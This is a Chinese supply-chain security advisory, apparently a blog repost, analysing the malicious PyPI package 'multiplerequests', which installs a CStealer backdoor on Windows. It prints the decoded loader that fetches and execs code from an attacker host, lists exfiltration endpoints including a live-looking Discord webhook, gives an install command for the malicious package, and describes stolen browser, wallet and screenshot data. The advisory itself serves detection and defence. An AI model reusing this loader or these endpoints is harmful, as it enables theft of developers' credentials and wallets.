供应链投毒预警:恶意Py包伪装HTTP组件开展CStealer窃密后门攻击

server/2024/9/20 1:22:08/ 标签: http, 网络协议, 网络

概述

近日(2024年4月25号),悬镜供应链安全情报中心在Pypi官方仓库(https://pypi.org/)中捕获1起CStealer窃密后门投毒事件,投毒者连续发布6个不同版本的恶意Py包multiplerequests,目标针对windows平台python开发者,该恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外,后门还会尝试驻留Windows系统启动目录实现开机自启动。

https://img-blog.csdnimg.cn/img_convert/c486abe4822d9636452082c78ec544ff.png" width="717" />

截至目前,恶意Py包multiplerequests在pypi官方仓库上被下载435次。

https://img-blog.csdnimg.cn/img_convert/541794be63bdf4588f2eb1d612292822.png" width="740" />

pypi仓库恶意包multiplerequests下载量

该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。

https://img-blog.csdnimg.cn/direct/7376165a7fa4412b90132488006d2737.png" width="907" />

清华镜像源

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install multiplerequests -i  https://pypi.tuna.tsinghua.edu.cn/simple 

https://img-blog.csdnimg.cn/img_convert/74833083d8bc85b45c3b283162bdf0d1.png" width="1000" />

由于该恶意Py包只针对Windows系统,测试环境使用Linux系统,导致恶意包安装过程中触发恶意代码时触发非预期的Windows系统路径(~\\AppData\\Roaming/frvezdffvvcode.py) 的文件写入操作。

投毒分析

multiplerequests恶意包2.31.0版本为例,当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或依赖引用恶意组件包时,将自动触发执行Python安装包setup.py中经过base64编码的恶意代码。

https://img-blog.csdnimg.cn/direct/e15a7ae0624d40c0a9a1b9a09fa8d1d6.png" width="880" />

恶意代码base64解码后如下所示,第一阶段恶意代码进一步从投毒者服务器上(https://frvezdffvv.pythonanywhere.com/getpackage)拉取第二阶段恶意代码并执行。

from urllib import request

package_url = "https://frvezdffvv.pythonanywhere.com/getpackage"

package_name = request.urlopen(package_url).read()

exec(base64.b64decode(package_name))

第二阶段恶意代码同样经过base64编码,如下所示:

https://img-blog.csdnimg.cn/img_convert/76c753cc5cefc9495eca59771b052bce.png" width="939" />

第二阶段恶意代码(base64编码)

Base64解码后还原出真实的第二阶段恶意代码,如下所示:https://img-blog.csdnimg.cn/direct/622286a1b1f940e8bf52559e70883369.png" width="1058" />

第二阶段真实恶意代码

经代码分析后确认该恶意代码是github开源CStleaer后门项目的变种版本https://github.com/can-kat/cstealer/blob/main/cstealer.py)。

https://img-blog.csdnimg.cn/direct/d57edc32dc464dab9b4b70cadc81b68f.png" width="1058" />

CStealer窃密后门项目

该恶意代码主要包括以下功能:

1. 收集系统敏感信息

2. 收集浏览器隐私数据

3. 收集数字钱包应用数据

4. 系统屏幕截屏

5. 开机自启动

收集系统敏感信息

通过python内置platform和socket模块获取操作系统版本、处理器、网卡MAC、网络IP地址、主机名等敏感信息,并将数据外传到投毒者webhook接口(https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot)。

https://img-blog.csdnimg.cn/img_convert/478bedbfb055863ad5624d2e01b7c68c.png" width="776" />

系统信息收集功能

收集浏览器隐私数据

针对基于chromium内核的主流浏览器(chrome、opera、edge、torch、yandex、epic等)进行用户隐私数据收集,包括cookie、登录凭证、浏览历史数据、下载记录等。

https://img-blog.csdnimg.cn/img_convert/a86fdd80e0bc5ecc762856fc1a9b3225.png" width="808" />

https://img-blog.csdnimg.cn/img_convert/2d36f1941804a854f7bd1a034ac4b1d5.png" width="749" />

浏览器用户隐私数据收集功能

浏览器数据收集后,会被压缩打包发送到投毒者webhook接口:

https://img-blog.csdnimg.cn/img_convert/145b3afe4f140f9f7dd585c0e3976afb.png" width="791" />

浏览器隐私数据外传功能

收集数字钱包应用数据

针对主流数字钱包(Atomic Wallet、Binance、Electrum等)的应用数据进行压缩打包后,利用curl将钱包数据外传到投毒者服务器(https://store1.gofile.io/uploadFile)。

https://img-blog.csdnimg.cn/img_convert/b5bbaa072c3d7ec3ceb64171ba3b5ef6.png" width="1087" />

数字钱包及其应用数据路径

https://img-blog.csdnimg.cn/direct/a070e29b1a404fbcbd342d9cd35caf0a.png" width="1074" />数字钱包应用数据外传接口

系统屏幕截屏

首先从攻击者服务器(https://frvezdffvv.pythonanywhere.com/getmss)下载python mss模块安装包(mss.zip)到目标系统中,并对安装包进行解压。

https://img-blog.csdnimg.cn/img_convert/f935648a1b59d9512d8c0f9886108ae9.png" width="1005" />

远程下载python mss屏幕截屏模块

python mss是个基于ctypes实现的跨平台屏幕截屏模块,项目源码托管在github上(https://github.com/BoboTiG/python-mss)。

https://img-blog.csdnimg.cn/img_convert/b5e2aedccd0b134818d52f6470211d02.png" width="972" />

Python MSS开源项目

如下所示,恶意代码利用python-mss模块获取受害者系统的屏幕截屏后,将截屏数据发送到投毒者webhook接口上。

https://img-blog.csdnimg.cn/img_convert/c6d836a797b356cd77ec7793f9b7ae17.png" width="998" />

系统屏幕截屏及数据回传

开机自启动

CStealer后门还会将自身恶意代码拷贝到Windows系统启动目录,尝试通过开机自启动实现投毒持久化。https://img-blog.csdnimg.cn/direct/8382856a5c454ed884836307238b7f42.png" width="866" />

恶意后门写入Windows系统自启动目录

IoC数据

此次投毒组件包涉及以下IoC数据:

IoC

类型

SHA256

multiplerequests-2.31.0/setup.py

文件

e6eb8d5f7d451e8833551337c3b775170071935581059c553fa889f046a81c3f

https://frvezdffvv.pythonanywhere.com/getpackage

URL

https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot

URL

https://frvezdffvv.pythonanywhere.com/getmss

URL

https://rentry.co/u4tup/raw

URL

https://rentry.co/5crcu/raw

URL

https://rentry.co/5uu99/raw

URL

https://rentry.co/pmpxa/raw

URL

https://store1.gofile.io/uploadFile

URL

https://img-blog.csdnimg.cn/direct/a88b34aa36cf4e86a5be7eca28755c85.png" width="793" />

排查方式

截至目前,该Python恶意组件可从国内主流Pypi镜像源正常下载安装国内Python开发者可根据恶意包信息和IoC数据通过以下方式进行快速排查是否安装或引用恶意组件包。

开发者可通过命令pip show multiplerequests快速排查是否安装或引用恶意py组件包,若命令运行结果如下图所示,则代表系统已被安装该恶意组件,请尽快通过命令pip uninstall multiplerequests -y 进行卸载,同时还需关闭系统网络并排查系统是否存在异常进程。

此外,开发者也可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。

[

  {

    "product": "multiplerequests",

    "version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",

    "language": "python",

    "id": "XMIRROR-MAL45-7DF79312",

    "description": "Python恶意组件包multiplerequests开展CStealer窃密后门攻击",

"release_date": "2024-04-25"

}

]

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。

悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。


感谢每一位开源社区成员对OpenSCA的支持和贡献。OpenSCA的代码会在GitHub和Gitee持续迭代,欢迎Star和Fork,也欢迎向我们提交ISSUE和PR,参与我们的开源安全共建计划,与社区成员共同建设充满可能性的开源解决方案。

GitHub

https://github.com/XmirrorSecurity/OpenSCA-cli/releases

Gitee

https://gitee.com/XmirrorSecurity/OpenSCA-cli/releases

OpenSCA官网

https://opensca.xmirror.cn/


http://www.ppmy.cn/server/31235.html

相关文章

Redis的事务机制能保证ACID属性吗?

目录 事务 ACID 属性 用户如何开启Redis的事务? 使用redis-cli客户端来展示 ​Go语言编码使用事务 Redis 的事务机制能保证哪些属性? 1. 原子性 语法错误 运行错误 执行EXEC时,Redis发生故障 Redis对事务原子性属性的保证情况 2. 一…

Linux——命名管道

管道特点 只能用于具有具体祖先的进程之间的通信,通常,一个管道由一个进程创建,然后该进程调用fork,创建子进程,关闭相应的读写端,然后父子进程就可以通信了管道提供流式服务一般而言,进程退出…

企业计算机服务器中了devicdata勒索病毒怎么处理,devicdata解密数据恢复

网络技术的不断应用与发展,加快了社会进步的步伐,越来越多的企业利用网络开展各项工作业务,网络为企业提供了极大便利,大大提高了生产效率,网络数据安全问题成为了众多企业关心的主要话题。近日,云天数据恢…

QT创造一个新的类(柱状图的类),并关联属性和方法

1.以在UI上添加柱状图的类为例&#xff08;Histogram&#xff09; #ifndef STUDY_HISTOGRAM_H #define STUDY_HISTOGRAM_H#include <QVector> #include <QWidget>// 前向声明 QT_BEGIN_NAMESPACE class QColor; class QRect; class QString; class QPaintDevice; …

基于.NET WinForms 数据的CURD实现

开发工具 VS 2022 C#&#xff0c;数据库MS SQL SERVER 2019 1.WinForms界面 2.使用SqlDataApater DataSet DataGridView 读取数据 private void ReadData() {//数据库连接串string strConn "Data Source127.0.0.1;Initial CatalogTEST;Persist Security InfoTrue;Us…

python直接发布到网站wordpress之一只发布文字

本地环境&#xff1a;win10&#xff0c;python3.8.10。 远程服务器&#xff1a;是宝塔一键部署的wordpress6.5.2。 本地需要安装&#xff1a;pip38 install python-wordpress-xmlrpc。 本篇记录只发布文字&#xff08;不含图片&#xff09;&#xff0c;直接上代码&#xff1a…

关于Kotlin

Kotlin是一种由JetBrains公司开发的静态类型编程语言&#xff0c;它专为现代多平台应用设计。Kotlin的语法简洁&#xff0c;安全且实用&#xff0c;并且专注于与Java的互操作性。它几乎可以运行在任何Java语言可以运行的地方&#xff0c;但相比Java&#xff0c;Kotlin更加简洁、…

mac 安装anaconda

1. anaconda Anaconda是一个开源的Python和R编程语言的发行版本&#xff0c;用于数据科学、机器学习、大数据处理和科学计算等领域。它包含了一系列用于数据分析和科学计算的软件包、库和工具&#xff0c;以及一个用于管理环境和依赖关系的包管理系统。 Anaconda主要包括以下…

安卓抓包总结

背景 接手公司项目安卓xhs项目&#xff0c;该项目为android数据采集接口&#xff0c;该接口目前只能调用一次&#xff0c;然后就被平台风控&#xff0c;导致无法使用&#xff0c;需要恢复该接口继续使用&#xff0c;所以需要抓包分析调用的接口&#xff0c;对比接口参数和请求都…

Python中备选构造函数,classmethod和staticmethod的用法

在Python官方教程中并没有提及classmethod和staticmethod这两个装饰器。学过java面向对象编程的同学可能会觉得奇怪&#xff0c;为什么Python提供两个这样的装饰器&#xff0c;而不是只提供一个&#xff1f; 我们先来看看classmethod&#xff0c;它的用法&#xff1a;定义操作…

java设计模式 -- 工厂模式

1、基本概念 工厂模式&#xff08;Factory Pattern&#xff09;是 Java 中最常用的设计模式之一&#xff0c;这种类型的设计模式属于创建型模式&#xff0c;它提供了一种创建对象的最佳方式。 工厂模式提供了一种创建对象的方式&#xff0c;而无需指定要创建的具体类。 工厂…

数据仓库——聚集

在数据仓库中&#xff0c;聚集&#xff08;Aggregation&#xff09;是一个重要的概念&#xff0c;它涉及到对大量详细数据进行统计和汇总&#xff0c;以便更高效地执行查询和分析。以下是关于数据仓库中聚集的详细解释&#xff1a; 概念&#xff1a;聚集是指按照维度粒度、指标…

Android 编译文件简述(Android.mk)

Android 编译文件简述(Android.mk) Android.mk 文件是 Android 构建系统中的一种构建配置文件,使用 GNU Make 语法,用于定义 Android 项目中的模块、库、应用程序、JNI 代码等的编译和链接方式。每个 Android.mk 文件通常对应一个目录,代表构建系统应该如何处理该目录下的源…

一加12/11/10/Ace2/Ace3手机上锁回锁BL无限重启黑屏9008模式救砖

一加12/11/10/Ace2/Ace3手机官方都支持解锁BL&#xff0c;搞机的用户也比较多&#xff0c;相对于其他品牌来说&#xff0c;并没有做出限制&#xff0c;这也可能是搞机党最后的救命稻草。而厌倦了root搞机的用户&#xff0c;就习惯性回锁BL&#xff0c;希望彻底变回官方原来的样…

中间件之异步通讯组件RabbitMQ进阶

这里我们必须尽可能确保MQ消息的可靠性&#xff0c;即&#xff1a;消息应该至少被消费者处理1次 那么问题来了&#xff1a; 我们该如何确保MQ消息的可靠性&#xff1f; 如果真的发送失败&#xff0c;有没有其它的兜底方案&#xff1f; 首先&#xff0c;我们一起分析一下消息…

C#面:如何部署 ASP.NET 页面

在C#中部署 ASP.NET 页面有几种常见的方式&#xff0c;下面我将介绍其中两种常用的方式&#xff1a; IIS部署&#xff1a; 在服务器上安装IIS&#xff08;Internet Information Services&#xff09;。 在IIS中创建一个新的网站或虚拟目录&#xff0c;将其指向你的ASP.NET项目…

android zygote进程启动流程

一&#xff0c;启动入口 app_main.cpp int main(int argc, char* const argv[]) {if (!LOG_NDEBUG) {String8 argv_String;for (int i 0; i < argc; i) {argv_String.append("\"");argv_String.append(argv[i]);argv_String.append("\" ")…

Python 植物大战僵尸

文章目录 效果图项目结构实现思路源代码 效果图 项目结构 实现思路 下面是代码的实现思路&#xff1a; 导入必要的库和模块&#xff1a;首先&#xff0c;我们导入了Python的os、time库以及pygame库&#xff0c;还有植物大战僵尸游戏中用到的各个植物和僵尸的类。 初始化游戏和…

UNIAPP小程序从入门到精通

第一章> 1、如何创建项目 2、项目的基本结构 3、页面组成&#xff08;wxss可以不用&#xff09; 4、组件的使用 5、协同开发与发布 第二章> 6、WXML页面结构渲染 7、style样式美化 8、a…

富格林:有效控制暗箱阻挠被骗

富格林悉知&#xff0c;当前现货黄金的行情波动较为激烈&#xff0c;对于我们投资者来说意味着投资盈利的机会多了&#xff0c;但同时投资暗箱风险亦随之而来。如果我们面对暗箱风险没有做好半点准备的话&#xff0c;可能会遭遇巨大损失甚至无法阻挠被骗。那么我们该如何阻挠被…